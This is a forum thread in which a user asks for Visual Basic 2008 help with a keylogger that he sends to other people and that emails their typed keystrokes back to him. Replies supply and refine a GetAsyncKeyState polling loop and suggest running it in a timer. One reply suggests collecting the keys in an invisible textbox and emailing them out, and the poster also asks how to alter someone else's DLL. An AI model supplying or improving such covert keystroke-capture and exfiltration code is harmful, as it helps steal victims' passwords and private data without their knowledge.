vb 2008 (help)

[cnkilla187]

iv made a key logger that u send to people, and it sends u a email with the stuff they type but it was made form lots of other peoples work that i put togeather from different programs anyway im redoing it completely and i need this code to work:

 

Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i

 

but it doesn't work on my vista 64 bit and i dont know how get it to work iv tried changing the user32 to user64 it don't work i think the GetAsyncKeyState Lib should be changed, but to what? if u can help it would be greatly appreciated

[iBotPeaches]

I do not have Vista therefore I cannot help. I hope somebody will for you.

[Dark Slipstream]

That code isn't system wide automatically. You have to loop it in a timer, constantly.

 

Add a timer, put this code:

 

For i = 1 To 255
    result = 0
    result = GetAsyncKeyState(i)
    If (result = -32767) Then
         TextBox1.Text = (TextBox1.Text + Chr(i))
    End If
Next i
 

 

in the timer.

Edited June 16, 2009 by Dark Slipstream

[cnkilla187]

That code isn't system wide automatically. You have to loop it in a timer, constantly.

 

Add a timer, put this code:

 

For i = 1 To 255
    result = 0
    result = GetAsyncKeyState(i)
    If (result = -32767) Then
         TextBox1.Text = (TextBox1.Text + Chr(i))
    End If
Next i
 

 

in the timer.

 

ya it is i just didnt put that it was sorry any other ideas?

[Dark Slipstream]

:/, that's a poor way of recording the keyboard, so I'm already out of ideas. :S

 

The better way is extremely well guarded...

[cnkilla187]

:/, that's a poor way of recording the keyboard, so I'm already out of ideas. :S

 

The better way is extremely well guarded...

 

 

i have another way but its not mine and its a ddl, do u know how i can open it and read it? or change it?

Edited June 17, 2009 by cnkilla187

[T3A guy]

That code isn't system wide automatically. You have to loop it in a timer, constantly.

 

Add a timer, put this code:

 

For i = 1 To 255
    result = 0
    result = GetAsyncKeyState(i)
    If (result = -32767) Then
         TextBox1.Text = (TextBox1.Text + Chr(i))
    End If
Next i
 

 

in the timer.

Why do you put "Next i" and not just "Next"

[iBotPeaches]

Its good practice, since if you have 12 loops together and 12

 

Next

Next

Next

Next

 

You can know which one is which with their corresponding counter next to it.

[Dark Slipstream]

Its good practice, since if you have 12 loops together and 12

 

Next

Next

Next

Next

 

You can know which one is which with their corresponding counter next to it.

 

That, and it's difficult if you have several loops to pinpoint which one is which.

[SotG Caboose]

Couldn't you just make it to where like if you press a key, it will put the character of the key in an invisible textbox? then send the text in the textbox to your email or whatever?

[cnkilla187]

Couldn't you just make it to where like if you press a key, it will put the character of the key in an invisible textbox? then send the text in the textbox to your email or whatever?

 

ya i made one of those but i want to make a newer better one